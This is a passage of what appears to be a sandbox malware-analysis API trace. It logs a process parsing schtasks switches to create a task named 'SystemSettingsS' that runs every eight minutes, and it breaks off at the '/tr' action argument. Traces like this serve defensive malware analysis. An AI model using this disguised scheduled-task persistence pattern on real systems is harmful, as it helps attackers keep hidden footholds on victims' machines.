_Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.248] lstrlenW (lpString="tn") returned 2 [0135.248] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.249] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|p|") returned 3 [0135.249] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.249] lstrlenW (lpString="|p|") returned 3 [0135.249] lstrlenW (lpString="|tn|") returned 4 [0135.249] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.249] lstrlenW (lpString="ru") returned 2 [0135.249] lstrlenW (lpString="ru") returned 2 [0135.249] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.249] lstrlenW (lpString="tn") returned 2 [0135.249] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.249] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ru|") returned 4 [0135.249] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.249] lstrlenW (lpString="|ru|") returned 4 [0135.249] lstrlenW (lpString="|tn|") returned 4 [0135.249] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0135.249] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.249] lstrlenW (lpString="rp") returned 2 [0135.249] lstrlenW (lpString="rp") returned 2 [0135.249] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.249] lstrlenW (lpString="tn") returned 2 [0135.249] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.249] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rp|") returned 4 [0135.249] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.249] lstrlenW (lpString="|rp|") returned 4 [0135.249] lstrlenW (lpString="|tn|") returned 4 [0135.249] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0135.249] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.249] lstrlenW (lpString="sc") returned 2 [0135.249] lstrlenW (lpString="sc") returned 2 [0135.249] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.249] lstrlenW (lpString="tn") returned 2 [0135.250] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.250] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.250] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.250] lstrlenW (lpString="|sc|") returned 4 [0135.250] lstrlenW (lpString="|tn|") returned 4 [0135.250] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0135.250] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.250] lstrlenW (lpString="mo") returned 2 [0135.250] lstrlenW (lpString="mo") returned 2 [0135.250] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.250] lstrlenW (lpString="tn") returned 2 [0135.250] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.250] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.250] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.250] lstrlenW (lpString="|mo|") returned 4 [0135.250] lstrlenW (lpString="|tn|") returned 4 [0135.250] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0135.250] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.250] lstrlenW (lpString="d") returned 1 [0135.250] lstrlenW (lpString="d") returned 1 [0135.250] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.250] lstrlenW (lpString="tn") returned 2 [0135.250] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.250] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|d|") returned 3 [0135.250] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.250] lstrlenW (lpString="|d|") returned 3 [0135.250] lstrlenW (lpString="|tn|") returned 4 [0135.250] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.250] lstrlenW (lpString="m") returned 1 [0135.250] lstrlenW (lpString="m") returned 1 [0135.251] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.251] lstrlenW (lpString="tn") returned 2 [0135.251] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.251] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|m|") returned 3 [0135.251] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.251] lstrlenW (lpString="|m|") returned 3 [0135.251] lstrlenW (lpString="|tn|") returned 4 [0135.251] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.251] lstrlenW (lpString="i") returned 1 [0135.251] lstrlenW (lpString="i") returned 1 [0135.251] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.251] lstrlenW (lpString="tn") returned 2 [0135.251] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.251] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|i|") returned 3 [0135.251] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.251] lstrlenW (lpString="|i|") returned 3 [0135.251] lstrlenW (lpString="|tn|") returned 4 [0135.251] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.251] lstrlenW (lpString="tn") returned 2 [0135.251] lstrlenW (lpString="tn") returned 2 [0135.251] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.251] lstrlenW (lpString="tn") returned 2 [0135.251] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.251] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.251] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.251] lstrlenW (lpString="|tn|") returned 4 [0135.251] lstrlenW (lpString="|tn|") returned 4 [0135.251] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] lstrlenW (lpString="SystemSettingsS") returned 15 [0135.252] lstrlenW (lpString="-/") returned 2 [0135.252] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] lstrlenW (lpString="SystemSettingsS") returned 15 [0135.252] StrChrIW (lpStart="SystemSettingsS", wMatch=0x3a) returned 0x0 [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] lstrlenW (lpString="SystemSettingsS") returned 15 [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] lstrlenW (lpString="/sc") returned 3 [0135.252] lstrlenW (lpString="-/") returned 2 [0135.252] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.252] lstrlenW (lpString="create") returned 6 [0135.252] lstrlenW (lpString="create") returned 6 [0135.252] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.252] lstrlenW (lpString="sc") returned 2 [0135.252] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.252] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|create|") returned 8 [0135.252] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.252] lstrlenW (lpString="|create|") returned 8 [0135.252] lstrlenW (lpString="|sc|") returned 4 [0135.252] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0135.252] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.252] lstrlenW (lpString="?") returned 1 [0135.252] lstrlenW (lpString="?") returned 1 [0135.252] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.252] lstrlenW (lpString="sc") returned 2 [0135.253] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.253] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|?|") returned 3 [0135.253] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.253] lstrlenW (lpString="|?|") returned 3 [0135.253] lstrlenW (lpString="|sc|") returned 4 [0135.253] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.253] lstrlenW (lpString="s") returned 1 [0135.253] lstrlenW (lpString="s") returned 1 [0135.253] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.253] lstrlenW (lpString="sc") returned 2 [0135.253] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.253] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|s|") returned 3 [0135.253] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.253] lstrlenW (lpString="|s|") returned 3 [0135.253] lstrlenW (lpString="|sc|") returned 4 [0135.253] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.253] lstrlenW (lpString="u") returned 1 [0135.253] lstrlenW (lpString="u") returned 1 [0135.253] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.253] lstrlenW (lpString="sc") returned 2 [0135.253] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.253] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|u|") returned 3 [0135.253] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.253] lstrlenW (lpString="|u|") returned 3 [0135.253] lstrlenW (lpString="|sc|") returned 4 [0135.253] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.253] lstrlenW (lpString="p") returned 1 [0135.253] lstrlenW (lpString="p") returned 1 [0135.253] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.253] lstrlenW (lpString="sc") returned 2 [0135.253] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.254] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|p|") returned 3 [0135.254] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.254] lstrlenW (lpString="|p|") returned 3 [0135.254] lstrlenW (lpString="|sc|") returned 4 [0135.254] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.254] lstrlenW (lpString="ru") returned 2 [0135.254] lstrlenW (lpString="ru") returned 2 [0135.254] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.254] lstrlenW (lpString="sc") returned 2 [0135.254] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.254] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ru|") returned 4 [0135.254] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.254] lstrlenW (lpString="|ru|") returned 4 [0135.254] lstrlenW (lpString="|sc|") returned 4 [0135.254] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0135.254] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.254] lstrlenW (lpString="rp") returned 2 [0135.254] lstrlenW (lpString="rp") returned 2 [0135.254] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.254] lstrlenW (lpString="sc") returned 2 [0135.254] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.254] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rp|") returned 4 [0135.254] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.254] lstrlenW (lpString="|rp|") returned 4 [0135.254] lstrlenW (lpString="|sc|") returned 4 [0135.254] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0135.254] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.254] lstrlenW (lpString="sc") returned 2 [0135.254] lstrlenW (lpString="sc") returned 2 [0135.254] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.255] lstrlenW (lpString="sc") returned 2 [0135.255] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.255] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.255] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.255] lstrlenW (lpString="|sc|") returned 4 [0135.255] lstrlenW (lpString="|sc|") returned 4 [0135.255] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0135.255] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.255] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.255] lstrlenW (lpString="MINUTE") returned 6 [0135.255] lstrlenW (lpString="-/") returned 2 [0135.255] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0135.255] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.255] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.255] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.255] lstrlenW (lpString="MINUTE") returned 6 [0135.255] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0135.255] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.255] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.255] GetProcessHeap () returned 0x2781b7c0000 [0135.255] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x18) returned 0x2781b7ca930 [0135.255] _memicmp (_Buf1=0x2781b7ca930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.255] lstrlenW (lpString="MINUTE") returned 6 [0135.255] GetProcessHeap () returned 0x2781b7c0000 [0135.255] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xe) returned 0x2781b7caa50 [0135.255] lstrlenW (lpString="MINUTE") returned 6 [0135.255] lstrlenW (lpString=" \x09") returned 2 [0135.255] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0135.255] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0135.255] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0135.255] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0135.255] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0135.255] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0135.256] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0135.256] GetLastError () returned 0x0 [0135.256] lstrlenW (lpString="MINUTE") returned 6 [0135.256] lstrlenW (lpString="MINUTE") returned 6 [0135.256] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.256] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.256] lstrlenW (lpString="/mo") returned 3 [0135.256] lstrlenW (lpString="-/") returned 2 [0135.256] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.256] lstrlenW (lpString="create") returned 6 [0135.256] lstrlenW (lpString="create") returned 6 [0135.256] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.256] lstrlenW (lpString="mo") returned 2 [0135.256] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.256] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|create|") returned 8 [0135.256] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.256] lstrlenW (lpString="|create|") returned 8 [0135.256] lstrlenW (lpString="|mo|") returned 4 [0135.256] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0135.256] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.256] lstrlenW (lpString="?") returned 1 [0135.256] lstrlenW (lpString="?") returned 1 [0135.256] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.256] lstrlenW (lpString="mo") returned 2 [0135.256] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.256] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|?|") returned 3 [0135.256] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.256] lstrlenW (lpString="|?|") returned 3 [0135.256] lstrlenW (lpString="|mo|") returned 4 [0135.256] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.257] lstrlenW (lpString="s") returned 1 [0135.257] lstrlenW (lpString="s") returned 1 [0135.257] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.257] lstrlenW (lpString="mo") returned 2 [0135.257] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.257] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|s|") returned 3 [0135.257] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.257] lstrlenW (lpString="|s|") returned 3 [0135.257] lstrlenW (lpString="|mo|") returned 4 [0135.257] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.257] lstrlenW (lpString="u") returned 1 [0135.257] lstrlenW (lpString="u") returned 1 [0135.257] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.257] lstrlenW (lpString="mo") returned 2 [0135.257] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.257] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|u|") returned 3 [0135.257] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.257] lstrlenW (lpString="|u|") returned 3 [0135.257] lstrlenW (lpString="|mo|") returned 4 [0135.257] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.257] lstrlenW (lpString="p") returned 1 [0135.257] lstrlenW (lpString="p") returned 1 [0135.257] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.257] lstrlenW (lpString="mo") returned 2 [0135.257] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.257] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|p|") returned 3 [0135.257] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.257] lstrlenW (lpString="|p|") returned 3 [0135.257] lstrlenW (lpString="|mo|") returned 4 [0135.257] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.257] lstrlenW (lpString="ru") returned 2 [0135.258] lstrlenW (lpString="ru") returned 2 [0135.258] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.258] lstrlenW (lpString="mo") returned 2 [0135.258] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.258] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ru|") returned 4 [0135.258] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.258] lstrlenW (lpString="|ru|") returned 4 [0135.258] lstrlenW (lpString="|mo|") returned 4 [0135.258] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0135.258] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.258] lstrlenW (lpString="rp") returned 2 [0135.258] lstrlenW (lpString="rp") returned 2 [0135.258] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.258] lstrlenW (lpString="mo") returned 2 [0135.258] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.258] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rp|") returned 4 [0135.258] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.258] lstrlenW (lpString="|rp|") returned 4 [0135.258] lstrlenW (lpString="|mo|") returned 4 [0135.258] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0135.258] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.258] lstrlenW (lpString="sc") returned 2 [0135.258] lstrlenW (lpString="sc") returned 2 [0135.258] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.258] lstrlenW (lpString="mo") returned 2 [0135.258] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.258] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.258] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.258] lstrlenW (lpString="|sc|") returned 4 [0135.258] lstrlenW (lpString="|mo|") returned 4 [0135.259] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0135.259] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.259] lstrlenW (lpString="mo") returned 2 [0135.259] lstrlenW (lpString="mo") returned 2 [0135.259] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.259] lstrlenW (lpString="mo") returned 2 [0135.259] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.259] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.259] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.259] lstrlenW (lpString="|mo|") returned 4 [0135.259] lstrlenW (lpString="|mo|") returned 4 [0135.259] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0135.259] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.259] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.259] lstrlenW (lpString="8") returned 1 [0135.259] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.259] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.259] lstrlenW (lpString="8") returned 1 [0135.259] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0135.259] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.259] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.259] _memicmp (_Buf1=0x2781b7ca930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.259] lstrlenW (lpString="8") returned 1 [0135.259] lstrlenW (lpString="8") returned 1 [0135.259] lstrlenW (lpString=" \x09") returned 2 [0135.351] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0135.351] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0135.351] GetLastError () returned 0x0 [0135.352] lstrlenW (lpString="8") returned 1 [0135.352] lstrlenW (lpString="8") returned 1 [0135.352] GetProcessHeap () returned 0x2781b7c0000 [0135.352] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x4) returned 0x2781b7c4310 [0135.352] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.352] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.352] lstrlenW (lpString="/tr") returned 3 [0135.352] lstrlenW (lpString="-/") returned 2 [0135.353] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.353] lstrlenW (lpString="create") returned 6 [0135.353] lstrlenW (lpString="create") returned 6 [0135.353] _memicmp 